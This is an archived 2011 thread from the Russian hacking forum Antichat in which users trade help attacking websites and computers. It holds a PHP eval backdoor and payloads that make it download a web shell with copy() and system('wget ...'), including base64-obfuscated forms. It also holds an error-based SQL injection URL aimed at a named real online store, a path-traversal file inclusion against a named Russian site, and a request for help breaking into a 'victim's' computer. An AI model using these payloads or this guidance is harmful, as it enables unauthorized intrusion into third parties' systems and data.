ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
04.04.2011, 00:45
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
Провел на форуме:
0
Репутация:
0
|
|
Делаю так
http://localhost/x.php?b=phpinfo(); показывает
http://localhost/x.php?b=ls не показывает
allow_url_fopen On
magic_quotes_gpc On
Но при http://localhost/x.php?b=eval(file_get_contents('http://blalba/shell.txt'));
пустой экран.
Попробывал
http://localhost/x.php?e=http://blabla/shell.txt
пустой экран.
Уже заканчивается фантазия ... Может есть еще идеи? |
|
|
04.04.2011, 00:49
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
b=phpinfo();
b=ls
чот не понял, что за универсальная функция у тебя там?
покажи код бекдора
|
|
|
|
04.04.2011, 01:01
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
Провел на форуме:
0
Репутация:
0
|
|
if (isset($_REQUEST['b'])) eval(stripslashes($_REQUEST['b']));
по поводу ls погорячился, точнее курю мануалы и понимаю что сглупил... а если еще точнее не обьявил системную ...
|
|
|
|
04.04.2011, 01:12
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
Сообщение от Lijzer
if (isset($_REQUEST['b'])) eval(stripslashes($_REQUEST['b']));
по поводу ls погорячился, точнее курю мануалы и понимаю что сглупил... а если еще точнее не обьявил системную ...
b=copy('http://site.com/shell.txt','shell.php');
b=eval(base64_decode('Y29weSgnaHR0cDovL3NpdGUuY29t L3NoZWxsLnR4dCcsJ3NoZWxsLnBocCcpOw=='));
-----------
b=system('wget http://site.com/shell.php');
b=eval(base64_decode('c3lzdGVtKCd3Z2V0IGh0dHA6Ly9z aXRlLmNvbS9zaGVsbC5waHAnKTs='));
вариантов много, если хотите залить шелл пробуйте эти для примера, смените урл на нормальный линк к шеллу
|
|
|
|
05.04.2011, 16:24
|
|
Новичок
Регистрация: 27.04.2010
Сообщений: 0
Провел на форуме:
348
Репутация:
0
|
|
Помогите раскрутить
http://www.lazyjack.co.jp/cp-bin/webstore/catalog/product_info.php/products_id/1647'
pls
|
|
|
|
05.04.2011, 16:40
|
|
Познающий
Регистрация: 17.04.2010
Сообщений: 75
Провел на форуме:
691279
Репутация:
55
|
|
Сообщение от Flashmx
Помогите раскрутить
http://www.lazyjack.co.jp/cp-bin/webstore/catalog/product_info.php/products_id/1647'
pls
http://www.lazyjack.co.jp/cp-bin/webstore/catalog/product_info.php/products_id/1647' or 1 group by concat(version(),floor(rand(0)*2)) having max(0) or 1-- 1
|
|
|
|
05.04.2011, 23:48
|
|
Постоянный
Регистрация: 17.12.2008
Сообщений: 353
Провел на форуме:
919131
Репутация:
74
|
|
http://meb[G00GLE]el-dvs.ru/main_p3.php?&d=mebelionika&nmr=2&nmr2=3&im=../../../../../../boot.ini%00&rzd=&nmstr=495&sn=&content=%CC%E5%E1%E 5%EB%FC%ED%E0%FF%20%F4%E0%E1%F0%E8%EA%E0%20%CC%E5% E1%E5%EB%E8%EE%ED%E8%EA%E0&content2=catalog_mebeli onika
Что-то можно вообще сделать? Забавный сайт какой-то.
|
|
|
|
06.04.2011, 10:19
|
|
Участник форума
Регистрация: 19.12.2010
Сообщений: 155
Провел на форуме:
30555
Репутация:
85
|
|
Сообщение от fl00der
http://meb[
G00GLE
]el-dvs.ru/main_p3.php?&d=mebelionika&nmr=2&nmr2=3&im=../../../../../../boot.ini%00&rzd=&nmstr=495&sn=&content=%CC%E5%E1%E 5%EB%FC%ED%E0%FF%20%F4%E0%E1%F0%E8%EA%E0%20%CC%E5% E1%E5%EB%E8%EE%ED%E8%EA%E0&content2=catalog_mebeli onika
Что-то можно вообще сделать? Забавный сайт какой-то.
Тут LFI
достаточно и этого
Сообщение от None
http://mebel=dvs.ru/main_p3.php?&d=
Но ты там не найдешь boot.ini, потому что этот сайт не на диске C(загрузочном) находится, по-ходу можно читать файлы на диске D, но вряд ли там есть что-то полезное
|
|
|
|
06.04.2011, 16:58
|
|
Постоянный
Регистрация: 17.12.2008
Сообщений: 353
Провел на форуме:
919131
Репутация:
74
|
|
Сообщение от eclipse
Тут LFI
достаточно и этого
Но ты там не найдешь boot.ini, потому что этот сайт не на диске C(загрузочном) находится, по-ходу можно читать файлы на диске D, но вряд ли там есть что-то полезное
Там Open_basedir ограничивает, там даже пути даны, так что в топку походу.
|
|
|
|
07.04.2011, 00:53
|
|
Новичок
Регистрация: 25.08.2010
Сообщений: 11
Провел на форуме:
4344
Репутация:
0
|
|
Знаю ip жертвы, открытые порты 21 / tcp ftp, 22 / tcp ssh, 23 / tcp telnet, 80 / tcp http, 1863 / tcp - msnp, 1864 / tcp - paradym-31port, 5190 - про этот порт не знаю.
есть доступ к почте жертвы.
конекчусь с помощью putty через ssh или telnet port и получаю epic fail
возможно у жертвы стоит галочка в удаленном помощнике - проверил что-то не получается зайти.
Цель проникнуть на комп, получить доступ, опыта нет подскажите идеи что можно придумать.
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
